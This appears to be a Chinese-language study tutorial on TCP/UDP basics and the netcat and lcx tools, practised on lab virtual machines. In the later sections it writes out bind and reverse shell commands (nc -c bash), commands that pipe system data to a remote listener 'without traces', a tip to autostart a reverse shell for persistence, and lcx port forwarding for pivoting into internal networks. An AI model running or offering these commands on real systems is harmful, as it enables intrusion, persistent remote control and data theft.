nc
简介
Netcat是一个简单的Unix工具,用于在TCP或UDP协议上读取和写入数据。由于其简单、灵活的特性,它经常被用于网络调试或在各种网络脚本中。
TCP协议
概述
TCP(传输控制协议)是一种面向连接的协议,用于在网络上可靠地传输数据。它提供了一种可靠的、有序的、基于字节流的数据传输服务,确保数据的完整性、顺序性和可靠性。TCP通常与IP(互联网协议)一起使用,构成TCP/IP协议族中的一部分。TCP协议常用于Web、电子邮件、文件传输和其他应用程序的数据传输。
特点
- 面向连接:在数据传输前,必须先建立连接,传输完成后再断开连接。这种方式可以保证数据传输的可靠性。
- 可靠性:TCP协议提供可靠的数据传输服务,能够在数据传输过程中检测和纠正错误,确保数据的完整性、顺序性和可靠性。
- 流控制:TCP协议能够进行流量控制,根据接收方的处理能力来控制发送方的发送速度,避免过多数据拥塞导致网络阻塞。
- 拥塞控制:TCP协议能够进行拥塞控制,根据网络的拥塞程度来动态调整发送方的发送速度,避免网络拥塞和数据丢失。
- 面向字节流:TCP协议以字节流的方式传输数据,没有消息边界,需要应用层进行数据的分包和组包。
- 全双工通信:TCP协议支持全双工通信,即客户端和服务器可以同时发送和接收数据,实现双向通信。
- 可靠的错误检测和重传机制:TCP协议能够对数据进行校验和检测,发现数据错误后进行重传,保证数据传输的可靠性。
TCP报文的基本结构
源端口号(16位):标识发送端口号。目的端口号(16位):标识接收端口号。序列号(32位):标识在该报文段中第一个数据字节的序号。确认号(32位):标识期望接收的下一个字节的序号。数据偏移(4位):标识TCP头部长度,以4字节为单位。保留(6位):保留未使用,置为0。控制标志(6位):标识TCP报文的控制信息,如ACK、SYN、FIN等。窗口大小(16位):标识接收方的窗口大小,用于流控制。校验和(16位):用于检验TCP报文的正确性。紧急指针(16位):标识紧急数据的末尾位置。选项(可选):用于TCP的高级功能,如窗口扩大、时间戳等。
常见端口
TCP(传输控制协议)使用端口号来区分不同的应用程序和服务。端口号是一个16位的整数,范围从0到65535。其中,0到1023号端口被称为“知名端口”(Well-Known Ports),通常由重要的网络服务和协议使用。以下是一些常见的TCP端口号及其对应的服务:
端口号 20:FTP(文件传输协议)数据传输
端口号 21:FTP(文件传输协议)控制连接
端口号 22:SSH(安全外壳协议),用于安全的远程登录和文件传输
端口号 23:Telnet,用于非安全的远程登录
端口号 25:SMTP(简单邮件传输协议),用于发送电子邮件
端口号 53:DNS(域名系统)服务,用于解析域名和IP地址
端口号 80:HTTP(超文本传输协议),用于访问网页
端口号 110:POP3(邮局协议3),用于接收电子邮件
端口号 119:NNTP(网络新闻传输协议),用于访问新闻组
端口号 143:IMAP(互联网邮件访问协议),用于接收和管理电子邮件
端口号 161:SNMP(简单网络管理协议),用于网络设备管理
端口号 443:HTTPS(安全超文本传输协议),用于加密的网页访问
端口号 465:SMTPS(安全简单邮件传输协议),用于加密的电子邮件发送
端口号 587:SMTP(简单邮件传输协议)的备用端口,用于发送电子邮件
端口号 993:IMAPS(安全互联网邮件访问协议),用于加密的电子邮件接收和管理
端口号 995:POP3S(安全邮局协议3),用于加密的电子邮件接收
UDP协议
概述
UDP(用户数据报协议)是一种无连接的、不可靠的、基于数据报的传输层通信协议。
特点
-
无连接:UDP在传输数据时不需要建立连接,直接将数据包发送出去。因此,UDP的传输效率比TCP更高。
-
不可靠:UDP不提供可靠性保证,因此在传输过程中可能会出现数据包丢失、重复、乱序等问题。但是,由于UDP的无连接特点,应用层可以自行处理这些问题。
-
高效:UDP的数据包结构相对简单,包括源端口、目的端口、长度、校验和和数据等字段。因此,UDP的传输速度比TCP更快。
-
延迟低:UDP不需要等待确认,因此可以实现较低的传输延迟,适合实时应用场景,如视频、音频、游戏等。
-
轻量级:由于UDP的功能较少,因此协议本身比TCP更加轻量级。
UDP报文的基本结构
源端口号(Source Port) 占用2个字节,用于标识数据包的发送者端口号。目的端口号(Destination Port) 占用2个字节,用于标识数据包的接收者端口号。长度(Length) 占用2个字节,指示整个UDP数据报的长度,包括UDP报头和数据部分。校验和(Checksum) 占用2个字节,用于检验UDP数据报的完整性,防止数据在传输过程中被篡改或损坏。数据(Data) 占用0~65535字节,是实际要传输的数据部分。
常见端口
53:DNS(域名系统)服务端口号,用于将域名解析为IP地址。67/68:DHCP(动态主机配置协议)服务端口号,用于自动分配IP地址。69:TFTP(简单文件传输协议)服务端口号,用于在网络上传输文件。123:NTP(网络时间协议)服务端口号,用于同步网络时间。161/162:SNMP(简单网络管理协议)服务端口号,用于网络设备的管理和监控。514:Syslog服务端口号,用于日志记录和监控。5060/5061:SIP(会话初始化协议)服务端口号,用于VoIP(语音传输)通信。3478/3479:STUN(简单遍历UDP协议)服务端口号,用于NAT穿透和实现网络对等通信。
功能
参数
## NC常用的参数:-l 侦听模式,用于入站连接,大部分配合-p参数使用
-p 指定本地的端口号
-n 后面跟IP地址,直接解析IP不解析域名,速度更快
-v 输出连接的详细信息,输入vv可以看到更详细的信息
-z 端口扫描,默认使用tcp模式
-u 指定udp模式扫描探测,一般配合-z参数使用
-c shell命令,通常为 -c bash返回一个bash shell
-q 在标准输入完之后退出,延迟多少秒 例如 -q 1表示被连接完成后1秒钟关闭连接
虚拟机三台192.168.245.110 kali1、192.168.8.130 kali2、192.168.8.129 win7
端口转发
场景:kali1 能访问 kali2,但是不能访问 win7。kali2 能访问 win7 任意端口。
kali1 想访问 win7 的 22 端口。
思路:kali2 做跳板机,把访问 kali2 8888 端口的数据转发到 win7 的 22 端口上。
kali1 攻击机 192.168.245.110
kali2 跳板机 192.168.8.130
win7 目标机 192.168.8.129
方法:在 kali2 上执行 nc 转发命令。
nc -l -p 8888 -c "nc 192.168.8.129 22"
在 kali1 上用 ssh 连接 kali2 的 8888 端口,或者直接在 kali2 上 ssh 连接本地的 8888 端口,即可登录 win7 的 22 端口
端口探测
主要命令-z
nc -v ip地址 端口(常规探测,输出nc探测信息和目的ip的指定端口)
nc -lvp 445(先在靶机上打开端口监听模式,不然攻击机上无法扫描到)
nc -nvz 192.168.8.129 445(扫描192.168.8.129主机的445端口开放情况,-n指定后面跟IP地址而不是域名)
nc -nvz 192.168.8.129 1-1000 (扫描192.168.8.129主机的1-1000端口开放情况,需要关闭win7防火墙)
nc -nvvzu 192.168.8.129 1-500(扫描1到500间的UDP端口,并在终端返回详细的探测信息)
总结:netcat里面的端口扫描功能比较低配,不及nmap强大。
传输文本信息
主要命令-lp,需要两台机子都有nc工具
先有一台服务端开放一个随机的侦听端口 nc -lp 8888,另一台客户端再连接服务端的端口 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(侦听并开放本地的8888端口,等待连接...)
kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接连接kali1的8888端口,两者交互开始,可以传输文本数据了)
可以看到,刚开始侦听端口的一端能显示该端口已经被192.168.8.130连接上了,下面可以发数据了,例如hello,hi,chifan? chi这样聊天
总结:此功能类似23端口的talnet一样,明文传输文本信息,发短信一样的功能。
传输文件/目录
传输文件:
A端kali1:nc -lp 8888 > nc.jpeg(A作为接收端打开端口,将本地侦听的8888端口的信息输出到文件名nc.jpeg里面,有人连接,传输完成后,一秒钟就断开)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作为发送端,把nc.jpeg文件输入到192.168.8.110的8888端口里面)
传输目录:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888 -q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
总结:传输目录与传输文件功能很像,其实就是多了个解压缩的命令
远程电子取证信息收集
例子1(收集B端的系统信息,但是不在B端留下命令的痕迹,把系统命令全部通过管道传输到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面执行的ls系统命令在A端里面显示,B端无痕)
例子2:
A端kali1:nc -lp 8888 > ps.txt (开启本地的8888端口,一旦有人侦听连接把传输的内容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(连接192.168.8.110的8888端口,并且输入本机的ps aux命令通过管道传输到侦听端口,-q 1表示把命令参数一秒后自动关闭连接)
远程控制
两者服务器都需要有nc工具,nc重要的功能之一
正向shell(被攻击的服务器端开启8888端口的bash shell,一旦有人连接了8888端口就会给他返回一个shell,客户端回车能直接执行服务器端的系统命令,例如ls、ifconfig等,正向比较容易理解)
kali1(被攻击的服务器):nc -lp 8888 -c bash(被攻击的服务器主动开启8888端口,谁先连上shell就给谁)
kali2(攻击者服务器):nc -nv 192.168.8.110 8888(主动连接目的服务器的8888端口来获取shell,然后获得root权限执行系统命令)
反向shell(被攻击的服务器主动外连攻击者服务器的8888端口并且给他一个bash shell,反向shell的目的是防止被攻击者的IDC服务器里面的防火墙拦截,一般目的服务器只开80和443端口,让服务器开放本地端口出网难度大,但是可以让被攻击的服务器直接连攻击者的服务器端口,写一个shell脚本放在配置文件里面设置开机自启动,肉鸡即可上线)
kali1(攻击者服务器):nc -lp 8888(攻击者的服务器开启并监听本地的8888端口,等待肉鸡上线即可执行系统命令)
kali2(被攻击的服务器):nc -nv 目的地址 8888 -c bash(主动对攻击者的服务器进行外联并给他一个bash shell)
lcx
参数
Usage:lcx-<listen|tran|slave> <option> [-log logfile]-tran <等待连接的端口> <目标ip> <目标端口> (端口映射)-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
用法
Windows下lcx使用方法
-
在外网服务器上运行:
lcx -listen 40050 10000 # 监听本地40050端口,同时将数据转发到10000端口
-
内网需要转发的机器上运行:
lcx -slave 1.1.1.1 40050 10.10.0.3 3389 # 将本地的3389端口转发到外网1.1.1.1的40050端口上
-
此时我们通过连接外网服务器的10000端口就可以连接到那台内网主机的3389端口
基本用法
现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口。
公网web服务器的配置
lcx.exe -tran 8080 192.168.10.19 80 #将本地的8080端口转发到192.168.10.19的80端口
LCX实现本地端口转发(Windows)
我们现在拿到了一台主机的账号、密码和权限,现在想远程RDP连接该主机,该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到33389端口上。
目标机的操作,将3389端口的流量转发给33389端口。
lcx.exe -tran 33389 127.0.0.1 3389
这个时候,只需要远程连接目标主机的33389端口即可。
LCX实现SSH到内网主机(Windows)
黑客主机获得公网服务器的权限,通过公网服务器进一步内网渗透,得到主机的权限。
可以利用lcx进行22端口的转发,在公网服务器上操作
lcx.exe -tran 2222 192.168.10.129 22
#意思就是将本地2222端口转发给192.168.10.129主机的22号端口只要连接到公网服务器的2222端口,即可转发到内网服务器的22端口